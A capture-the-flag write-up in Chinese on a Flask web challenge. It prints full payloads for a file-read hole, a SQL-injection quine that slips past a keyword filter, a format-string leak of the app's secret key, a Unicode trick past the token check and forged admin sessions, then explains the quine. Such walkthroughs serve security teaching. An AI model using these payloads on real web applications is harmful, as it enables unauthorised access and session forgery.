# CYBERPUNK 1977
###### tags: `unsolved`
* site : http://eofqual.ais3.org:1977/
* hint
- I use `tiangolo/uwsgi-nginx-flask` to build this cool stuff. (with default configuration)
- [VISUAL BASIC 2077](https://drive.google.com/file/d/1AXEcUSwGlBON_1abv919AIw5CSX2I5VU/view)
* 可以發現 hint 這裡有個 LFI 的洞
* ```http://eofqual.ais3.org:1977/hint?file=uwsgi.ini```
```
[uwsgi]
module = main
callable = app
```
* 拿到 source code ```http://eofqual.ais3.org:1977/hint?file=__pycache__/main.cpython-38.pyc```
```python=
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40)
# [GCC 9.3.0]
# Embedded file name: ./main.py
# Compiled at: 2021-01-08 03:23:56
# Size of source mod 2**32: 2359 bytes
from os import getenv, urandom
from flask import Flask, g, request, session, send_file, render_template
import sqlite3, re, secrets
app = Flask(__name__)
app.secret_key = urandom(32)
def is_bad(payload):
""" Weak WAF :)"""
if re.search('replace|printf|char|[\\x00-\\x20]', payload, re.I | re.A):
return True
return False
class Flag:
def __str__(self):
if session.get('is_admin', False):
return getenv('FLAG', 'FLAG{F4K3_FL4G}')
return "Oops, You're not admin (・へ・)"
def db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('sqlite.db')
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
session['is_admin'] = False
return render_template('index.html', token=f"GUEST-{secrets.token_hex(16).upper()}")
@app.route('/hint')
def hint():
filename = request.args.get('file')
if filename.endswith('.py'):
return 'Denied: *.py'
return send_file(filename)
@app.route('/login', methods=['POST'])
def login():
flag = Flag()
username = request.form.get('username', '')
password = request.form.get('password', '')
token = request.form.get('token', '')
if is_bad(username) or is_bad(password):
return 'BAD!'
if username != 'admin':
if re.search('ADMIN', token, re.I | re.A):
return "Hey {username}, admin's token is not for you (・へ・)".format(username=username)
cursor = db().cursor()
query = f"SELECT username, password FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
res = cursor.fetchone()
if res != None and res['username'] == username and res['password'] == password:
if token.upper() == 'ADMIN-E864E8E8F230374AA7B3B0CE441E209A':
return ('Hello, ' + username + ' 。:.゚ヽ(*´∀`)ノ゚.:。 Here is your flag: {flag}').format(flag=flag)
return 'Hello, ' + username + ' 。:.゚ヽ(*´∀`)ノ゚.:。 No flag for you (´;ω;`)'
else:
return 'No (´;ω;`)'
if __name__ == '__main__':
app.run(port=5000, debug=True)
# okay decompiling main.cpython-38.pyc
```
* 從 source code 裡面看有幾個點
* username 和 admin query 完會做檢查
* token 會檢查
* session 會檢查 is_admin
* 首先會想到用 quine 的方法來解,但這裡有個 WAF 擋了一些詞,所以不能用 REPLACE、CHAR 的那個方法,只好另外造一個,[參考](http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410) 了這裡用 concate 的方法
```username=admin&token=ADMIN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'admin'admin,''''a,','b,'a'aa,'b'bb,'union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--```
* 但是能成功登入,還是會被 session 擋住,得到 Oops, You’re not admin (・へ・) 這個東西,所以這時會想到作業用的 format string 的方法和自簽 session 的方法,但這裡的寫法其實和作業不同,不是寫在裡面的,無法直接靠 format string 拿到 flag 的內容,只能走自簽 session 的路
:::success
比賽的時候我們就卡在這地方,我們打算直接利用 ```{flag.__class__.__base__.__subclasses__()[132].__init__.__globals__['getenv']('FLAG','NO')}``` 來拿 flag,但其實 format string 不能 call function
:::
* 想要簽 session 就得先拿到 secret_key,還是得利用 format string 的方法加上 python sandbox escape 的方法去拿,賽後跟助教問了提示
```{flag.__class__.__str__.__globals__[app].secret_key}```
* 需要去改到 username 的話又會被 token 擋住 (username 不是 admin),但可以看到 token 在最後比較的地方會做個 .upper(),我們發現有些特殊字在 upper 以後會變 ASCII,所以我們找了這個字串來繞過第一個檢查又能通過第二個檢查
```ADMıN-E864E8E8F230374AA7B3B0CE441E209A```
* 於是拿到 session
payload : ```username={flag.__class__.__str__.__globals__[app].secret_key}&token=ADMıN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'flag'flag,'{flag.__class__.__str__.__globals__[app].secret_key}'flagflag,''''a,','b,'a'aa,'b'bb,'union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--```
secret_key : ```b'h\x16\xa5\xca\x88\xd9\x8e\x10i\x12\xde\x82ie\xcarL\x9f\r\xe8\xdf\xf5\x84\xb6\x03a3\xb4\xa8K\x94>'```
* 最後用這個 session 簽了個 is_admin 的 session 塞 cookie,然後成功又用 admin 的那副 payload 拿到 flag 了

* FLAG{RE𝖠𝗟_FⅬ𝗔G}
## Quine 邏輯小教學
```sql
SELECT
ab||a||a||a||a||aa||b||a||b||a||bb||b||
a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT
ab||a||a||a||a||aa||b||a||b||a||bb||b||
a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
FROM(SELECT'ab,');'ba);
```
ref: http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410
1. 在`FROM`那個括弧裡面`SELECT'string'name` 好像就是把`string`這個字串取名成`name`。從這段可以看出來他的命名對應關係:
| name | a | b | aa | bb | ab | ba |
| ------ | --- | --- | --- | --- | ---------------------- | --- |
| string | ' | , | a | b | SELECT ... FROM(SELECT | ); |
2. 接下來回頭看第一個`SELECT`會得到用`||`把變數concat起來的產物。
```
ab||a||a||a||a||aa||b||a||b||a||bb||b||
a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||
a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba
```
每一個變數用剛剛的表格代換,就會發現他就是輸入的sql!!!